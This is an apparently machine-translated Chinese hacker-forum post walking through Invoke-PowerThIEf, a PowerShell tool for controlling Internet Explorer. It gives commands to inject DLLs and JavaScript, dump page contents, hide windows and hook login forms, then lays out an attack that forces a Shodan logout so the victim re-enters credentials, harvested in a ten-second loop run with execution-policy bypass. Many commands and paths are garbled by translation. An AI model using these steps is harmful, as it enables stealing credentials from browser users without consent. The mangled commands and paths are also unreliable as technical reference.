跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

Invoke-PowerThIEf是一个开源的Powershell脚本,不仅能够用来对工业管理学(工业工程)浏览器窗口的内容进行操作,还能通过钩的方法捕获工业管理学(工业工程)浏览器的凭据。

地址如下:

https://github.com/nettitude/Invoke-PowerThIEf

本文将要对Invoke-PowerThIEf的功能进行测试,分享在Win7 sp1 x64下的使用方法,结合自己的经验,分析利用思路。

0x01 简介

本文将要介绍以下内容:

功能测试

Win7Sp1下的使用方法

利用分析

0x02 功能测试

Invoke-PowerThIEf需要的环境配置如下:

IE 11

以七比10获胜。Net 4.0

Powershell 4.0

考虑到以下原因:

窗口七或Windows Server 2008,默认安装PowerShell 2.0

Windows8或Windows server 2012,默认安装PowerShell 3.0

Windows 8.1或Windows server 2012 R2版版,默认安装PowerShell 4.0

首先选择Windows server 2012 R2 x64作为测试环境,可直接运行

常用功能如下:

(1)列出IE浏览器的所有页面

召唤神偷-操作列表统一资源定位器

(2)在IE进程中加载dll

示例如下:

invoke-power thief-action exec有效负载-path有效负载calc _ x64。动态链接库

默认会在所有页面中执行加载动态链接库的操作,并且会新建新的页面

例如:

如果当前工业管理学(工业工程)进程有3个页面,执行该操作后会执行3次加载动态链接库的操作,并且会在工业管理学(工业工程)浏览器中新建3个页面

个人认为该功能的效果有限

(3)向IE页面中插入JavaScript代码并执行

针对所有页面:

调用-权力小偷-行动调用js-脚本

针对指定页面:

invoke-power thief-action调用js-browser索引-脚本

注:

可通过列表统一资源定位器命令获得

示例如下:

invoke-power thief-action invoke js-Script ' alert(document。位置。href);'

invoke-power thief-action invoke js-browser index 132572-Script ' alert(` ' 1 `);'

(4)Dump页面内容

针对所有页面:

调用-权力窃贼-行动转储html

针对指定页面:

调用-电源小偷-行动转储html-浏览器索引

针对指定页面的指定元素:

invoke-power窃贼-操作转储html-浏览器索引-选择器类型标记选择器

invoke-power窃贼-操作转储html-浏览器索引-选择器类型id-选择器

invoke-power thief-action dump html-浏览器索引-选择器类型名称-选择器

(5)隐藏和显示页面

隐藏所有页面:

召唤神偷-操作隐藏窗口

隐藏指定页面:

调用-权力小偷-行动隐藏窗口-浏览器索引

显示所有页面:

召唤神偷-操作显示窗口

显示指定页面:

调用-电源小偷-行动显示窗口-浏览器索引

这里会对页面所在的进程iexploer.exe进行隐藏和显示

例如:

如果进程iexploer1.exe下有两个页面A和b,进程iexploer2.exe下有两个页面C和d,如果隐藏页面一,那么会隐藏进程iexploer1.exe下的所有页面A和b,而iexploer2.exe下有的两个页面C和D不受影响

(6)页面重定向

控制页面访问指定的统一资源定位器

针对所有页面:

invoke-power thief-action Navigate-NavigateUrl

针对指定页面:

invoke-power thief-action Navigate-浏览器索引-NavigateUrl

(7)捕获凭据

这里分为两个步骤:

1.命令执行后,将会钩所有新打开的页面并记录凭据

invoke-power thief-action hook日志信息

2.查看已捕获的凭据

Invoke-PowerThIEf -action Creds

(8)新建页面

invoke-power thief-action NewBackgroundTab

0x03 Win7Sp1下的使用方法

这里使用的测试系统为Win7Sp1 x64

Invoke-PowerThIEf直接在Win7sp1下使用会报错,提示如下:

找不到类型系统.__ComObject]:确保程序集包含

g此类型已加载。

在C:\ test \ Invoke-power窃贼。PS1:151元字符:41

[OutputType([System .__ComObject] )]

类别信息:无效操作:(系统.__ComObject:String) []

,父级包含errorrecordexception

FullyQualifiedErrorId:未找到类型

这里需要安装微软100 .净框架4.5和Windows操作系统管理框架4.0

1.安装Microsoft .NET Framework 4.5

命令行下的安装方法可参考之前的文章《渗透基础——命令行下安装Microsoft .NET Framework》

实现自动安装的代码可参考:

https://github。com/3g student/home-of-C-Language/blob/master/Install _ .Net _ Framework _ from _ the _命令行。卡片打印处理机(Card Print Processor的缩写)

安装后需要等待系统重新启动才能生效

2.安装Windows Management Framework 4.0

下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=40855

命令行下的安装命令如下:

wusa.exe windows 6.1-kb 2819745-x64-多包。MSU/安静/不重启

安装成功后进程wusa.exe将会自动退出

同样需要等待系统重启启动才能生效

再次执行Invoke-PowerThIEf

报错提示如下:

添加类型:无法加载文件或程序集" Microsoft.mshtml,

'版本=7.0.3300.0,区域性=非特定,公钥标记=b 03 F5 f 7 f 11d 50 a 3a '或一个

它的从属关系。系统找不到指定的文件。

在C:\ test \ Invoke-power窃贼。PS1:362 char:13

添加-类型-类型定义$源语言CSharp

-参考汇编.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~

类别信息:未指定:(:)[添加类型],FileNotFoundExcept

离子

FullyQualifiedErrorId : System .IO。文件未找到异常,微软.能力

见鬼了。命令。添加类型命令

错误的原因是代码中使用了:使用mshtml,缺少这个引用文件

Invoke-PowerThIEf在服务器2012R2下能够正常使用,于是我尝试比较服务器2012R2和Win7系统的差异,看看能否通过替换文件的方式解决这个问题

解决方法1

参考资料:

https://www。克里凡。com/Microsoft _ html _ object _ library _ mshtml _ TLB _ in _ com _ vs _ Microsoft _ mshtml _ Microsoft _ mshtml _ dll _ in _ dot net/

在安装VS2015的服务器2012R2下尝试导出mshtml.dll,命令如下:

c:\ Program Files(x86)\ Microsoft SDKs \ Windows \ v 7.0a \ Bin \ x64 \ tlbimp。exe C:\ Windows \ System32 \ mshtml。TLB/out:C:\ test \ mshtml。动态链接库

获得mshtml.dll

将mshtml.dll放在Invoke-PowerThIEf的同级目录下,重命名为Microsoft.mshtml.dll

执行后依旧是同样的错误,如下图

2-1.png

该方法失败

解决方法2

经过对比,发现服务器2012R2比Win7系统多了文件夹:C:\ Windows \ assembly \ GAC \ Microsoft。mshtml

如下图

2-2.png

具体多出以下文件:

c:\ Windows \ assembly \ GAC tree Microsoft。mshtml/f

文件夹路径列表

卷序列号是F4B2-E12B

c:\ WINDOWS \ ASSEMBLY \ GAC \ MICROSOFT .MSHTML

7.0.3300.0__b03f5f7f11d50a3a

Microsoft.mshtml.dll

__AssemblyInfo__ .初始化设置文件的后缀名

注:

C:\Windows\assembly下文件夹的具体内容只能通过命令行进行查看,无法在探险家中查看

于是尝试将服务器2012R2系统中c:\ Windows \ assembly \ GAC \ Microsoft。mshtml的所有内容复制到Win7下面

我已经将c:\ Windows \ assembly \ GAC \ Microsoft。mshtml的所有内容提取出来并上传至github,地址如下:

https://github。com/3g student/Invoke-power窃贼/tree/master/微软。mshtml

在Win7系统的命令行下执行:

xcopy微软。mshtml C:\ Windows \ assembly \ GAC \ Microsoft。mshtml/I/s/e

再次执行Invoke-PowerThIEf,运行成功,如下图

2-3.png

0x04 利用分析

Invoke-PowerThIEf的利用场景主要有以下3个:

1.控制IE浏览器访问指定页面并获得网页内容

(1)创建一个新页面

invoke-power thief-action NewBackgroundTab

(2)获得新页面的序号

召唤神偷-操作列表统一资源定位器

假设这里的序号为132572

(3)将其重定向到指定URL

这里以https://www.shodan.io/为例

调用-权力小偷-行动导航-浏览器索引132572-导航URL https://www.shodan.io/

(4)抓取页面结果

invoke-power窃贼-操作转储html-浏览器索引132572

(5)关闭此页面

调用-权力小偷-行动调用js-浏览器索引132572-脚本'窗口。opener=nullwindow.open(',' _ self ');窗户。close();'

补充:重定向到空白页面

invoke-power thief-action Navigate-浏览器索引132572-NavigateUrl关于:空白

2.抓取凭据

(1)列出所有标签

召唤神偷-操作列表统一资源定位器

发现后台有肖丹的登录页面

(2)开启抓取凭据的功能

invoke-power thief-action hook日志信息

(3)强制shodan账号退出登录状态

invoke-power thief-action invoke js-browser index 525660-Script '窗口。位置。href=' https://帐户。shod an。io/logout ';'

等待用户重新登录

(4)查看抓取到的凭据

Invoke-PowerThIEf -action Creds

这里需要注意,执行完步骤2后不能退出Powershell进程,否则无法抓取到新的凭据

如果想自动实现以上功能,这里可以通过添加循环,每10秒在后台抓取一次凭证。使用的Powershell命令如下:

invoke-power thief-action hook loginforms

while(1)

{

开始睡眠第10节

写主机'[*]睡眠10秒'

Invoke-PowerThIEf -action Creds

}

执行脚本:

powershell-EP bypass-f Invoke-power thief . PS1

3.修改页面内容,执行JavaScript代码

对于所有页面:

invoke-power thief-action invoke js-Script

对于指定的页面:

invoke-power thief-action invoke js-browser index-Script

要实现的功能取决于具体的JavaScript代码。

0x05 小结

介绍了Invoke-PowerThIEf支持的函数,分享了Win7 sp1 x64下的使用方法,并结合自己的经验分析了利用思路。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。